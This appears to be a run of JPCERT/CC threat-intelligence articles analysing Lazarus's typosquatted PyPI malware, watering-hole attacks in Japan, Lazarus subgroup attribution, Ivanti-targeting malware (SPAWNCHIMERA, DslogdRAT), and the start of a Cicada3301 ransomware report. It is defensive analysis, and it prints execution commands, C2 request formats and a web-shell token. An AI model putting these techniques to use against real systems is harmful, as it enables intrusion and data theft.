JPCERT/CC has confirmed that Lazarus has released malicious Python packages to PyPI, the official Python package repository (Figure 1). The Python packages confirmed this time are as follows:
pycryptoenv
pycryptoconf
quasarlib
swapmempool
The package names pycryptoenv and pycryptoconf are similar to pycrypto, which is a Python package used for encryption algorithms in Python. Therefore, the attacker probably prepared the malware-containing malicious packages to target users’ typos in installing Python packages. This article provides details on these malicious Python packages.
Figure 1: Python packages released by Lazarus attack group
File structure of the malicious Python packages
Since the multiple malicious Python packages confirmed this time have almost the same file structure, this article uses pycryptoenv as an example in the following sections. The malicious Python package has the file structure shown in Figure 2. The main body of the malware is a file named test.py. This file itself is not Python but binary data, which is an encoded DLL file.
Figure 2: File structure of pycryptoenv
The code to decode and execute test.py is contained in __init__.py, as shown in Figure 3. The test.py is simply an XOR-encoded DLL file, and it is decoded, saved as a file, and then executed by __init__.py.
Figure 3: Code to decode and execute test.py
This type of malware, called Comebacker, is the same type as that used by Lazarus to target security researchers in an attack reported by Google [1] in January 2021. The following sections describe the details of test.py.
Details of test.py
Since the code which calls the function to decode and execute test.py (the crypt function in Figure 3) does not exist in pycryptoenv, the malware cannot be executed simply by installing pycryptoenv. Therefore, the attacker probably runs the Python script that executes the crypt function on the target machine in some way. The following section describes the behavior when a function that decodes and executes test.py is run. Figure 4 shows the process from pycryptoenv to the execution of the malware main body.
Figure 4: Flow up to Comebacker execution
After test.py is XOR-decoded, it is saved as output.py and then executed as a DLL file by the following command.
$ rundll32 output.py,CalculateSum
The DLL files IconCache.db and NTUSER.DAT are created and executed by the following command. NTUSER.DAT is encoded, and the decoded data is executed on memory, and this data is the main body of Comebacker.
The samples confirmed this time have a fixed decode key as shown in Figure 5, and they are used to decode each file.
Figure 5: Decode Keys and Decode Functions
In addition, the NOP code used in this sample has a unique characteristic. As shown in Figure 6, there is a command starting with 66 66 66 66 in the middle of the code. This is often used, especially in the decode and encode functions. This characteristic is also found in other types of malware used by Lazarus, including malware BLINDINGCAN.
Figure 6: Comparison of characteristic NOP commands between Comebacker and BLINDINGCAN
Details of Comebacker
Comebacker sends the following HTTP POST request to its C2 servers.
[2 random characters]=[command (determined by string length)]&[random character]=[device ID (base64 encoded)]&[random character]=[not used (base64 encoded)]&[random character]=[number (initially 0 and after receiving data, it becomes the value in the received data.)]&[random character]=[length of the next value]&[random character]=[yyyy-MM-dd hh:mm:ss(base64 encoded)*]
*After receiving data from the server, it becomes "yyyy-MM-dd hh:mm:ss|command (same as the first one sent)|number of bytes received"
In response to the above data sent, the server sends back a Windows executable file (see Appendix A for details of the received data format). Comebacker has a function to execute the received Windows executable file on memory.
Associated Attacks
Phylum has reported [2] a similar case to this attack in the past. In this case, a npm package contains Comebacker, and thus the attack is considered to have been conducted by Lazarus as well. In this way, the attacker aims to spread malware infections in multiple package repositories.
Figure 7: npm package released by Lazarus attack group
In Closing
The malicious Python packages confirmed this time have been downloaded approximately 300 to 1,200 times (Figure 8). Attackers may be targeting users’ typos to have the malware downloaded. When you install modules and other kinds of software in your development environment, please do so carefully to avoid installing unwanted packages. For C2 and other information on the malware described in this article, please refer to the Appendix.
Figure 8: Number of pycryptoenv downloads
Shusei Tomonaga (Translated by Takumi Nakano)
References
[1] Google: New campaign targeting security researchers https://blog.google/threat-analysis-group/new-campaign-targeting-security-researchers/
[2] Phylum: Crypto-Themed npm Packages Found Delivering Stealthy Malware https://blog.phylum.io/crypto-themed-npm-packages-found-delivering-stealthy-malware/
Appendix A: Format of the received data
Offset
Content
Notes
0x00
Hex string
Command
0x05
Hex string
End flag ( reception ends if it is 3)
0x07
Hex string
Data length
0x10
Data
Base64 data with “+” replaced with space
The data format is as follows:
[number(number to be included in the next POST data)]|[number(data size to receive)]|[Export function to be called by the downloaded Windows executable file]|[argument for the Export function]|[MD5 hash value]
Nowadays, many people probably recognize exploit of vulnerabilities in publicly exposed assets such as VPN and firewalls as the attack vector. In fact, many security incidents reported to JPCERT/CC also involve such devices. This is because vulnerabilities in VPN devices are exploited not only by APT groups but also by many other groups such as ransomware actors and cyber crime actors, and the number of incidents is high accordingly. As the number of security incidents arising from these specific attack vectors increases, on the other hand, people tend to forget about countermeasures for other attack vectors. Attackers use a variety of methods to conduct attacks, including email, websites, and social networking services. Figure 1 shows a timeline of security incidents related to targeted attacks that JPCERT/CC has confirmed.
Figure 1: Targeted attacks confirmed by JPCERT/CC between 2023 and 2024
As you can see from this figure, there are many methods used for penetrating networks. In this article, we will introduce two cases of watering hole attacks in Japan that received little attention in recent years. We hope that you will find these security incidents useful when planning your security measures. Part 1 covers a case in which the website of a university research laboratory was exploited in 2023.
Flow of the attack
Figure 2 shows the flow of the watering hole attack. When a user accesses a tampered website, a fake Adobe Flash Player update screen is displayed, and if the user downloads and executes the file as instructed, their computer becomes infected with malware.
Figure 2: Flow of the attack
The infected website has JavaScript embedded, as shown in Figure 3, and when the user accesses the site, a Japanese pop-up message is displayed.
Figure 3: Malicious code embedded in the tampered website
One of the characteristics of this watering hole attack is that it did not exploit vulnerabilities for malware infection but used a social engineering technique to trick users who accessed the site into downloading and executing the malware by themselves.
Malware used in the attack
FlashUpdateInstall.exe, the malware downloaded in this attack, displays a decoy document as shown in Figure 4, and has the function to create and execute the core malware (system32.dll). The decoy document is a text file, and it contains a string of text indicating that the update of Adobe Flash Player was successful.
Figure 4: Example of malware code
The created system32.dll is injected into the Explorer process (Early Bird Injection). This DLL file was distinctive as it had been tampered by Cobalt Strike Beacon (version 4.5) to have a watermark of 666666. For detailed configuration information on Cobalt Strike, please see Appendix D.
Examples of attacks by the same group
The attack group involved in this watering hole attack is unknown. The C2 server was hosted on Cloudflare Workers, Cloudflare’s edge serverless service. In addition, we have confirmed that the same attacker is conducting other attacks. Figure 5 shows the behavior of other types of malware confirmed through our investigation of C2 servers.
Figure 5: Malware possibly used by the same attacker
Look at Figure 5. In the first example, the attacker disguised the file name as a file from the Ministry of Economy, Trade and Industry, and a document released by the Ministry was used as a decoy. In addition, the malware (Tips.exe) used in the second example had the feature to allow options to be specified on execution. Options that can be specified are as follows.
This sample used a rarely seen technique: using EnumWindows and EnumUILanguages functions when executing the DLL file.
Figure 6: DLL injection technique
Furthermore, the malware can stop antivirus software (process name: avp.exe) and has a function to detect the following as an anti-analysis function.
Whether there are more than 40 processes
Whether the memory size is larger than 0x200000000 (approx. 8G)
Whether any of the following are included in the physical drive name
VBOX
Microsoft Virtual Disk
VMWare
In Closing
We hope this article will be helpful for you to consider your security measures. In Part 2, we will continue to introduce cases of watering hole attacks.
Figure 1 shows the flow of the watering hole attack. When someone accesses the tampered website, an LZH file is downloaded, and when they execute the LNK file in the LZH file, their PC becomes infected with malware.
Figure 1: Flow of the attack
The infected website had JavaScript embedded in it, as shown in Figure 3, and the malware is downloaded to users who login to the website with a specific account (Basic authentication).
Figure 2: Malicious code embedded in the tampered website (1)
The webpage that starts the download of the malware displays a message, as shown in Figure 3, indicating that the site is undergoing maintenance, and the LZH file is downloaded automatically. In addition, in case the user cannot extract the LZH file, a link to download the legitimate decompression software Lhaplus is included in the webpage.
Figure 3: Malicious code embedded in the tampered website (2)
Malware used in the attack
The malware downloaded by this attack is contained in an LNK file, as shown in Figure 4.
Figure 4: Flow of malware infection
As shown in Figure 5, inside the LNK file there is a ZIP file containing the actual malware and a VBS file for extracting it, which are Base64-encoded and extracted when the LNK file is executed.
Figure 5: Malicious code contained in the LNK file
The ZIP file contains the legitimate file iusb3mon.exe and two DLLs. iusb3mon.dll is loaded into the legitimate file iusb3mon.exe, but as shown in Figure 6, a session called newimp is added, and the actual malware dmiapi32.dll (malware name: SQRoot) is loaded in that session.
Figure 6: The newimp section added to iusb3mon.dll
SQRoot(dmiapi32.dll)
SQRoot is malware that downloads plugins from the C2 server to extend its functionality. The plugins it downloads are listed in Table 1.
8015ba282c.tmp
Download and execute RAT disguised as an image file
abb8fcc3b5.tmp
Download and execute shell code
8714c42184.tmp
Unknown
6eadde753d.tmp
Unknown
SQRoot sends client information when communicating with the C2 server. The data sent is encrypted using ChaCha20. In addition, a unique ID is set at the end of the User-Agent header, and a random string (aq[BASE64-encoded 12-byte nonce]) is set in the x-auth header.
SQRoot limits the time of communication with the C2 server from 9:00 to 18:00, Monday to Friday. Furthermore, it regularly sends fake communication to disguise real communication with the C2 server as normal web access.
When the plugin 8015ba282c.tmp is downloaded, malware disguised as a BPM file (SQRoot RAT) is downloaded as shown in Figure 7. This malware is also set to communicate with the C2 server only between 9:00 and 18:00, Monday to Friday.
Figure 7: A part of the SQRoot RAT disguised as a BPM file
SQRoot RAT encrypts data with RC4 and sends it to the C2 server. For the list of commands that the malware can execute, please see Appendix C.
POST /weekly/img/new/paper.php?hid=[fixed value]&uid=[unique ID]&cid=[command] HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Edg/108.0.1462.54
Content-Length: [size]
Host: [server name]
[RC4 data]
SQRoot Stealer
Furthermore, another malware (SQRoot Stealer) has been found on hosts infected with SQRoot, which is designed to steal information. Figure 8 shows the flow of SQRoot Stealer execution.
Figure 8: Flow of SQRoot Stealer execution
The actual malware is nvprojects.dll, but like SQRoot, it runs after being loaded into the legitimate file nvSmart.exe, and it operates by loading plugins, also similar to SQRoot. The following are the example of plugins.
jtpa_record_4_0.tmp: keylogger
jtpa_snap_2_0_1.tmp: screen capture
jtpa_un_cat.tm: send file
Attribution
The attack group involved in the watering hole attack discussed in this article is unknown. We have confirmed that the malware file names used in this attack (nvSmart.exe, nvsmartmax.dll, iusb3mon.exe, iusb3mon.dll) have been used by APT10 in the past. In addition, a Web shell called Weevely was installed on the website used in the attack.
In closing
In this and the previous blog posts, we have covered cases of watering hole attacks, and in both cases, the attackers aimed to infect the targets with malware through social engineering, rather than exploiting vulnerabilities. Current security measures tend to focus on addressing vulnerabilities in publicly accessible assets, but it is also important to remain aware of social engineering attacks like this.
*Please note that this article is a translation of the Japanese version published on January 20, 2025, and may not reflect the latest information on threat trends.
“Lazarus”[1] no longer refer to a single APT group but a collection of many sub-groups. Originally, it referred to a single group or activities by some small groups. I suppose that, as the scale of their activities expanded, the group branched out into multiple units. Now it is realistic to consider that “Lazarus” is no longer an applicable label. When I start talking about Lazarus’ subgroup-level identification or attribution, many people look skeptical or uninterested. However, this kind of analysis, which may seem overly obsessive, is actually crucial to addressing attacks against the entire Japan, and this blog post explains the reasons.
Characteristics of Lazarus subgroups
There are already a number of labels that refer to activities/campaigns and groups of Lazarus, and the number is growing. In addition, although it is not limited to Lazarus, various security vendors use different names for the same group, subgroup, and malware, making it more difficult to grasp the whole picture. Furthermore, some authors focus on the names of attack groups (or subgroups) in their analysis reports, while others focus on the names of attack campaigns, which makes the terminology even more confusing. There was even a case where a label used as the name of an attack campaign in one report was cited as that of an attack group in another. *I have organized the labels as follows. Any suggestions or information about the classification are welcome.
Labels for the entire APT activity: Hidden Cobra, TraderTraitor
Labels for individual (or intermittent) campaigns[2]: Operation Dreamjob, Operation In(ter)ception, AppleJeus, Dangerous Password, CryptoCore, SnatchCrypto, Contagious Interview, Operation Jtrack *Dangerous Password and CryptoCore initially appeared as attack group names, but later they are also used as attack campaign names in many cases.
Labels for attack groups (subgroups): TEMP.Hermit, Selective Pisces, Diamond Sleet, Zinc, UNC577, Black Artemis, Labyrinth Chollima, NICKEL ACADEMY APT38, Bluenoroff, Stardust chollima, CryptoMimic, Leery Turtle, Sapphire Sleet, TA444, BlackAlicanto Jade Sleet, UNC4899, Slaw Pisces Gleaming Pisces, Citrine Sleet Andariel, Stonefly, Onyx Sleet, Jumpy Pisces, Silent Chollima Moonstone Sleet (*This may not be a subgroup of Lazarus)
Labels that used to refer to a single attack group and then now used for its successors, related groups, and branched subgroups: Lazarus, Bluenoroff, APT38, Andariel
I have argued[3] in various places that accurate profiling and attribution of APT groups is critical for counter-operations against threat actors. Some people may think that a broad classification is sufficient, rather than more detailed subgrouping. It is true that some of the Lazarus subgroups have the same targets, objectives and TTPs. For example, no matter whether the attacker is Citrine Sleet/UNC4736, Sapphire Sleet/CryptoMimic or Moonstone Sleet, all of which target cryptocurrency, the response strategy may not change significantly. The reasons for identifying threat actors at the subgroup level for Lazarus is further explained later, but there are two characteristics and trends behind this argument, which are unique to Lazarus subgroups and make the grouping of threat actors more difficult:
Overlaps in TTPs among multiple subgroups As many security vendors and analysts have discussed in the past[4], there are overlaps in initial attack vector, C2 infrastructure, and malware among multiple subgroups. As explained in JPCERT/CC Eyes[5] recently, there have been multiple confirmed attack campaigns in which LinkedIn was used for initial attack vector. In addition, there is a tendency that similar attack methods to be increasingly used, which is explained later.
Rise of task force-like groups beyond traditional subgrouping From 2021 to February 2023, reports and media coverage on a new APT actor called Bureau325 appeared[6]. It is known that this actor shares the same TTPs as multiple known Lazarus subgroups and also uses the same malware as Kimsuky. It is assumed that Bureau325 is a task force-like group or activity which is free from existing group structures[7]. In March 2023, Mandiant published a report on APT43[8]. The activities of the actors described in this report were previously reported as those of Kimsuky or Thallium. However, Mandiant’s analysis team has reclassified the group as APT43. The report also notes that APT43 uses the same tools across groups and subgroups, similar to Bureau 325.
Reasons for identification in subgroup level
When identifying APT actors, attention is often paid to attribution, such as identifying the perpetrators, their backgrounds, and attributing responsibility to a specific state, which I believe is the underlying reason why people are not so interested in Lazarus subgroup identification[9]. The following section discusses why detailed identification of subgroups, which are merely virtual distinctions, is necessary in addition to attribution.
Reason 1: To ensure the effects of mid- to long-term damage prevention through security alerts, etc. For example, in attacks through SNS, such as the case covered on JPCERT/CC Eyes recently, cryptocurrency businesses and defense and aviation industries were targeted, and thus it was possible to focus on alerting such industries. Since attackers usually contact individual engineers at target organizations on SNS, it was effective to alert and share IoCs with organizations in the sector. On the other hand, objectives, and target sectors/individuals/organizations of subgroups (and related groups) and attack campaigns identified in the second half of 2023 and later are becoming more complex. While most of them target the cryptocurrency sector, there is a wide range of groups, such as those targeting sensitive corporate information, those using ransomware (Moonstone Sleet), and those targeting illegal foreign currency income by IT workers (WageMole attack campaign). Identifying the target industries and objectives of each subgroup accurately makes it possible to provide information to specific sectors and organizations, which is more effective than issuing alerts. When an alert is issued about an attack that exploits the vulnerability of a specific sector or product, the attacker is also likely to target other sectors or products. However, people may not pay much attention to the alert, thinking that it is irrelevant to them.
Reason 2: Countermeasures/counter operations The accurate identification of subgroups is also essential for Japan to capture the activities of individual actors over the long term and to conduct accurate threat analysis on what kind of activities are intended by the government agencies behind these Lazarus subgroups[[10]. Active cyber defence will also be important for Japan to conduct counter operations against the activities of APT actors in the future.Behind each subgroup, there should be an organization with formation, rules, and forms of command and control, and the effectiveness of various countermeasures should differ from one another. Moreover, in addition to the effectiveness, some countermeasures may cause problems under international law[11], and it is extremely important to accurately capture the relationship between the actions and perpetrator of the counterparty and the background entity.
Reason 3: “Message” to the attackers Many threat analysts are increasingly focusing on subgroup identification. This is partly for counter-tactical reasons, as discussed in Reason 1. However, it is also because the analysts believe that subgroups reflect the actual activities, organizational backgrounds, and resources of the real perpetrators, not just a virtual distinction. There are only a limited number of cases where disclosing information about threat actors, such as public attribution or publishing analytical reports, influences their activities[12]. However, it is at least possible to make the attacker’s new tactics less likely to succeed or make them obsolete. We do not know to what extent APT actors actually pay attention to such information disclosures since they have rarely been verified so far. In any case, if the information is to be disclosed for the purpose of deterrence, such as in the form of public attribution, accurate subgroup identification and clarification would be a minimum requirement to deliver the message to the target (individual or organizational actors). Most importantly, it should be noted that disclosure of accurate subgroup identification demonstrates the ability of the defenders and responders.
Case study of subgroups with overlapping tactics: contact targets on SNS and have them download a malicious npm package
As explained in a recent JPCERT/CC Eyes article, several subgroups started to contact individual engineers on LinkedIn or other SNS to have them download a malicious Python or npm package via PyPI or GitHub in their initial phase. The following is a timeline of the activities of several subgroups that use same or similar tactics.
Figure 1: Multiple subgroups that contact their targets on SNS and have them download malicious packages
Moonstone Sleet Target sectors/objectives: cryptocurrency theft, ransomware attacks, sensitive information in defense industry, etc., illegal income of IT workers In February 2024, we published a JPCERT/CC Eyes blog article about a case in which this subgroup have their targets to download a malicious Python package via PyPI, and its analysis mentioned that the Comebacker was used[13]. In December 2023, Qianxin reported a similar sample[14], and later in May 2024, Microsoft announced that it was tracking the subgroup under the name Moonstone Sleet[15]. Microsoft says that this subgroup has no direct overlap with the subgroup which performs Contagious Interviews (discussed below), whose TTP is similar[16]. Comebacker was found in a 2021 campaign by TEMP.Hermit (labeled by Mandiant and also classified as UNC577 in the past)/Diamond Sleet (labeled by Microsoft and also classified as Zinc in the past)[17]. However, there is little information on the relations between the attack groups.
Gleaming Pisces (Citrine Sleet) Relations to previously classified group: actors of Apple Jeus (UNC1720) Target sectors: cryptocurrency businesses, individuals Similar to Moonstone Sleet, this subgroup performs initial compromise using PyPI. Unit42 calls the group Gleaming Pisces, and Microsoft refers to it as Citrine Sleet. PondRAT (named by Unit42) used in the PyPI exploit attack campaign in 2024[18] has its origin in PoolRAT (name by Unit42) disclosed by CISA when it issued an alert about AppleJeus attack campaign in February 2021[19], and PoolRAT was also found in the supply chain attack on 3cx in March 2023[20]. These RATs share a common A5/1 encryption key, and it was also found in the previously mentioned Comebacker-like sample reported by Qianxin. In addition, FudModule, reportedly used by TEMP.Hermit/Diamond Sleet, was also found in Citrine Sleet’s attack. Microsoft says that there are overlaps between Diamond Sleet and Citrine Sleet in their infrastructure and malware[21].
Contagious Interview (attack campaign) Target sectors/objectives: cryptocurrency theft, illegal income of IT workers (Associated with Wagemole although it is a separate campaign.) This attack activity was reported by Macnica in October 2024[22] and by NTT Security in December 2024[23]. The attackers contact IT engineers pretending to request job interviews. It was first reported by Unit42 in November 2023[24], and according to the company, the campaign has been active since 2022. The attack campaign was allegedly conducted by FAMOUS CHOLLIMA, classified by CrowdStrike, but it remains unclear whether it is a subgroup of Lazarus or another group. In addition, this activity has been associated with Wagemole and CL-STA-0237 (the name used by Unit 42)[25], which are allegedly related to the activities of “IT workers”, North Korean IT technical impersonators who work illegally at overseas IT companies to obtain foreign currency[26]. As mentioned earlier, Microsoft currently classifies Moonstone Sleet activity and Contagious Interview as separate activities. Phylum has been tracking the malicious npm packages used in both activities and has published a number of reports[27].
Reference: Summary of relationships among subgroups at the moment In this article, I have described and compared the Moonstone Sleet activity, Contagious Interview attack campaign, and Gleaming Pisces (Citrine Sleet) activity. They all share the same initial attack vector: contact the target on SNS and then have them download a malicious npm package. The following is a summary of the activities of other Lazarus subgroups and the changes in the classification and the names used by security vendors over time. I believe that the information will continue to change, with new subgroups emerging and security analysts making reclassifications[28]. In the future, we will try to create a system that captures and organizes such information in a dynamic and flexible manner.
Figure 2: Transition of Lazarus subgroups
In conclusion
The term “attribution” has two concepts. One of them is a strict meaning used in international law and criminal procedure, and the other is traditionally used by the security community. I personally refer to the former as “hard” attribution, which includes the identification of individuals and organizations actually involved as well as the attribution of responsibility, and the latter as “soft” attribution, which covers virtual groupings such as actors/attack groups and profiling. Even when there is insufficient evidence for “hard” attribution, “soft” attribution may be helpful in issuing appropriate alerts and providing countermeasure information. On the other hand, “hard” attribution is necessary for long-term countermeasures even when it is not feasible for technically timely responses.
There is not enough space here to cover a variety of technical and non-technical issues surrounding attribution, but I believe that “information disclosure” will be a key topic in the future. Disclosure of attribution results is an achievement for analysts in the private sector as well as an important tool for commercial businesses to demonstrate their expertise. While it is difficult for them to visualize the capabilities of products and services, reports of (soft) attribution can easily show their findings, which is important for maintaining the sound growth of the security market.
Meanwhile, attribution is also an achievement for government side. Aside from the arguments over the effectiveness of public attribution[29], it is a valuable opportunity for governments to demonstrate why they collect information on private victim organizations. In addition, as mentioned earlier, it is also a chance to demonstrate the capabilities as a country to their allies and adversaries. However, in either position, prioritizing achievement and disclosing technically unreliable attribution results bring a number of negative consequences. The effectiveness of information disclosure should also be verified.
Most importantly, it should always be reminded that so-called “threat intelligence,” including attribution results, is not a product created solely by those who release the information. Behind the scenes, victim organizations and analysts involved in on-site response play an extremely important role. Information disclosure influences threat actors, and at the same time, it is also a highly complex activity that affects not only the alerted organizations but also various other parties, including the victim organizations, analysts, and product vendors. Attribution methodology is still in the process of development, and information disclosure involves a number of unresolved issues. I have repeatedly discussed various issues surrounding “information disclosure” in the past[30], and I will continue such discussions along with alerts and analytical reports.
Figure 3: Timing of each attribution
Hayato Sasaki (Translated by Takumi Nakano)
References
*Please note that the authors and titles are omitted due to the large number of references.
[1] This name first appeared in Operation Blockbuster, a joint analysis report led by Novetta and involving a number of security vendors in 2016. It was initially described as “Lazarus Group.”
[2] Attack campaign: Attack activities conducted against a specific organization or sector for a certain period of time using a specific attack method or infrastructure. (Reference: 2024年3月「攻撃技術情報の取扱い・活用手引き」(サイバー攻撃による被害に関する情報共有の促進に向けた検討会事務局(経済産業省、JPCERT/CC))[Japanese only]
[3] https://jsac.jpcert.or.jp/archive/2023/pdf/JSAC2023_2_2_sasaki_en.pdf, JSAC2024 https://jsac.jpcert.or.jp/archive/2024/pdf/JSAC2024_2_6_hayato_sasaki_en.pdf, National Institute for Defense Studies (NIDS) Commentary https://www.nids.mod.go.jp/publication/commentary/pdf/commentary346.pdf [Japanese only]
[4] These are slightly old reports, but they analyze the organization and overlaps of subgroups based on the clustering of malware clusters. https://securelist.com/lazarus-threatneedle/100803/, https://vblocalhost.com/uploads/VB2021-Park.pdf
[6] https://cloud.google.com/blog/topics/threat-intelligence/mapping-dprk-groups-to-government/?hl=en, “Final report of the Panel of Experts submitted pursuant to resolution 2627 (2022)”, https://www.un.org/securitycouncil/sanctions/1718/panel_experts/reports
[9] When I once explained the Lazarus subgroups to a member of an international organization, I was told, “Whatever the subgroups are, they are already attributed (to a certain government) for their illegal activities, and that should be enough.”
[10] Until 2023, such tracking and reporting was conducted at the expert panel of the United Nations Security Council Sanctions Committee on North Korea. The panel collected information like those covered in this article from various security vendor reports and analyzed threats by group and government agencies considered behind such groups. However, as news media reported, the expert panel’s activities ended in FY2023.
[12] For an explanation on the limitations of the punitive deterrence approach centered on public attribution in the U.S. and the history of the transition to a cost-imposition approach, please refer to the following article of the National Institute for Defense Studies (NIDS) Commentary. 佐々木勇人, 瀬戸崇志『サイバー攻撃対処における攻撃「キャンペーン」概念と「コスト賦課アプローチ」——近年の米国政府当局によるサイバー攻撃活動への対処事例の考察から』https://www.nids.mod.go.jp/publication/commentary/pdf/commentary346.pdf [Japanese only]
[28] We mentioned that Mandiant reclassified it as APT43 in March 2023. The activities of this actor were previously often reported and classified as those of Kimsuky and Thallium. However, after years of tracking, it was reanalyzed, reclassified, and then announced as APT43. https://cloud.google.com/blog/ja/topics/threat-intelligence/apt43-north-korea-cybercrime-espionage
[29] For the studies based on the argument that deterrence approaches through public attribution and economic sanctions assuming so-called punitive deterrence had little success, refer to the following. Michael P. Fischerkeller, Emily O. Goldman, Richard J. Harknett, “Cyber Persistence Theory: Redefining National Security in Cyberspace”, Robert Chesney and Max Smeets Eds, “Deter, Disrupt, or Deceive Assessing Cyber Conflict as an Intelligence Contest”
In January 2025, Ivanti published an advisory[1] regarding the vulnerability CVE-2025-0282 in Ivanti Connect Secure. JPCERT/CC has confirmed multiple cases of this vulnerability being exploited in Japan since late December 2024, prior to the disclosure of the vulnerability, and published a security alert[2]. This vulnerability has already been used by multiple attack groups.
Among these cases, JPCERT/CC has confirmed that SPAWN malware family[3][4], which infects after exploiting the vulnerability, according to a report by Google, had been updated. This article explains the updated malware family (hereafter referred to as “SPAWNCHIMERA”).
Overview of SPAWNCHIMERA’s behavior
Figure 1 shows an overview of SPAWNCHIMERA’s behavior. It is malware with the functions of SPAWNANT, SPAWNMOLE, and SPAWNSNAIL all updated and integrated. Therefore, there is no significant difference in the way malware is installed or injected into other processes compared to SPAWN family reported by Google[4]. On the other hand, as shown in Figure 1, SPAWNCHIMERA can be injected into various processes and run in each of them. The major changes are as follows.
Change in inter-process communication
Function to fix vulnerability CVE-2025-0282
New decode functions added
Deleted debug message
Figure 1: Flow of SPAWNCHIMERA’s behavior.
Inter-process communication through UNIX domain sockets
In the previous SPAWN family, the malicious traffic received by SPAWNMOLE was sent to port 8300 on 127.0.0.1, and SPAWNSNAIL processed it. With the abovementioned update, this inter-process communication method was altered to use UNIX domain socket. It is created in the below path, and malicious traffic is sent and received between SPAWNCHIMERA injected into the web process and that injected into the dsmdm process. This change made it more difficult to detect the malware, as netstat command results from the Integrity Checker Tool (ICT) may not be displayed.
/home/runtime/tmp/.logsrv
Function to fix the vulnerability CVE-2025-0282
SPAWNCHIMERA has a new function to fix the CVE-2025-0282 vulnerability. CVE-2025-0282 is a buffer overflow vulnerability[5] caused by the strncpy function, and the malware dynamically fixes it by hooking the strncpy function and limiting the copy size to 256. Figure 2 shows the replaced strncpy function. SPAWNCHIMERA converts its process name to hexadecimal and verifies the added value. The fix is triggered when the process name is “web” The fix is programmed to be disabled when the first byte of the source copied to the strncpy function matches 0x04050203. Due to this function, if another attacker uses this vulnerability to attempt penetration or executes a PoC[6] for scanning purposes, the attack may not succeed.
Figure 2: The strncpy function replaced through hook
New decode functions added
In the previous samples, the private key for SSH server functionality was hardcoded in plaintext within the samples and exported to /tmp/.dskey. On the other hand, in SPAWNCHIMERA, it is now encoded and hardcoded within the sample. The key is used after being decoded with an XOR-based decode function. Since it is not exported as a file, traces are less likely to be left. The decoded private key is shown below.
Additionally, while the previous sample identified malicious traffic in replaced accept function, by matching a part of the received buffer with a hard-coded value, SPAWNCHIMERA has a new decode function and determines whether the traffic is malicious based on its calculation result. The decode function is shown in Figure 3.
Figure 3: Decode function used to identify malicious traffic
Deleted debug message
While there are only minor differences in functionality between the previous SPAWNSLOTH and that dropped by SPAWNCHIMERA, some functions related to debug messages were deleted from the entire sample, possibly with the aim of complicating analysis and preventing hunting. This modification is also seen in the main sample of SPAWNCHIMERA. Figure 4 shows an example of the deleted functions.
SPAWNCHIMERA has evolved into more sophisticated malware by changing various functions of SPAWN family in a way that leaves less traces, and SPAWN family is expected to remain in use. We hope that the information in this article will help your malware analysis. The hash values and file paths of the confirmed malware are listed in the Appendix.
In a previous article of JPCERT/CC Eyes, we reported on SPAWNCHIMERA malware, which infects the target after exploiting the vulnerability in Ivanti Connect Secure. However, this is not the only malware observed in recent attacks. This time, we focus on another malware DslogdRAT and a web shell that were installed by exploiting a zero-day vulnerability at that time, CVE-2025-0282, during attacks against organizations in Japan around December 2024.
Functionality of the installed Web shell
Figure 1 shows a part of the web shell written in Perl. This Perl script is executed as a CGI and retrieves the Cookie header from incoming HTTP requests. If the value of DSAUTOKEN= matches af95380019083db5, the script uses the system function to execute an arbitrary command specified in the request parameter data. It is considered that attackers accessed this simple web shell to execute commands to run malware such as DslogdRAT, which is discussed in the next section.
Figure 1: A part of the web shell
Overview of DslogdRAT
Figure 2 shows the execution flow of DslogdRAT. Upon execution, the main process of DslogdRAT creates a first child process and then terminates itself. The child process then decodes the configuration data and creates a second child process. The first child process enters a loop routine including sleep intervals, and thus it never gets terminated. The second child process contains DslogdRAT core functionality, which includes the following:
Initiate communication with the C2 server based on configuration data
Create a worker thread and pass socket information for communication
The worker thread handles data exchange with the C2 server and execution of various commands. These threads are implemented using the pthread library.
Figure 2: Execution Flow of DslogdRAT
Configuration Data of DslogdRAT
The configuration data of DslogdRAT is encoded and hardcoded in the sample. It is XOR-decoded byte to byte with 0x63 as the key. The structure of the configuration is listed in Table 1 in Appendix A, and the decoded configuration data is shown in Table 2. According to the decoded data, DslogdRAT is set to operate between 8:00 AM and 8:00 PM and remain in a sleep state during the other times. It is considered that attackers intended to avoid detection by communicating during business hours.
DslogdRAT’s Communication Method and Command Execution
DslogdRAT communicates with its C2 server through socket connections. The data exchanged during the communication is encoded using a function shown in Figure 3. The encoding and decoding operations are simple: applying XOR to each 7-byte block from 0x01 to 0x07.
Figure 3: DslogdRAT’s encoding and decoding mechanism
Figure 4 shows an example of the decoded initial communication with the C2 server. During this initial exchange, the malware sends basic information about the infected host to the server. The sent data follows a specific format:
0x00: ff ff ff ff
+0x04: 0f 00
+0x06: Data length
+0x0A: Encoded data
Figure 4: Example of DslogdRAT’s decoded initial communication
DslogdRAT supports multiple commands used for establishing an initial point of entry as shown below. Details of the supported commands are listed in Appendix B.
File upload and download
Execution of shell commands
Proxy functionality
SPAWNSNARE
In addition to DslogdRAT, SPAWNSNARE was also identified on the same compromised system. The malware was previously reported by both CISA and Google in April 2025 [1][2]. For details of SPAWNSNARE’s behavior, please refer to Google’s report [1].
In Closing
It is currently unknown whether the attacks using DslogdRAT is part of the same campaign involving SPAWN malware family operated by UNC5221 [1]. For further information on observed C2 servers, hash values, and file paths, refer to Appendix C and D. JPCERT/CC has issued an alert regarding a vulnerability in Ivanti Connect Secure (CVE-2025-22457), and attacks targeting Ivanti Connect Secure are expected to continue. We recommend continuing to monitor such attacks.
The Cicada3301 appears to be a traditional ransomware-as-a-service group that offers a platform for double extortion, with both a ransomware and a data leak site, to its affiliates. The first published leak on the group’s data leak site is dated June 25, 2024. Four days later, on June 29, the group published an invitation to potential affiliates to join their ransomware-as-a-service platform on the cybercrime forum Ramp.
Cicada3301 announces its affiliate program on Ramp.
As advertised above, The Cicada3301 group uses a ransomware written in Rust for both Windows and Linux/ESXi hosts. This report will focus on the ESXi ransomware, but there are artifacts in the code that suggest that the Windows ransomware is the same ransomware, just with a different compilation.
While more and more ransomware groups are adding ESXi ransomware to their arsenal, only a few groups are known to have used ESXi ransomware written in Rust. One of them is the now-defunct Black Cat/ALPHV ransomware-as-a-service group. Analysis of the code has also shown several similarities in the code with the ALPHV ransomware.
The Cicada3301 ransomware has several interesting similarities to the ALPHV ransomware.
Both are written in Rust
Both use ChaCha20 for encryption
Both use almost identical commands to shutdown VM and remove snapshots[1]
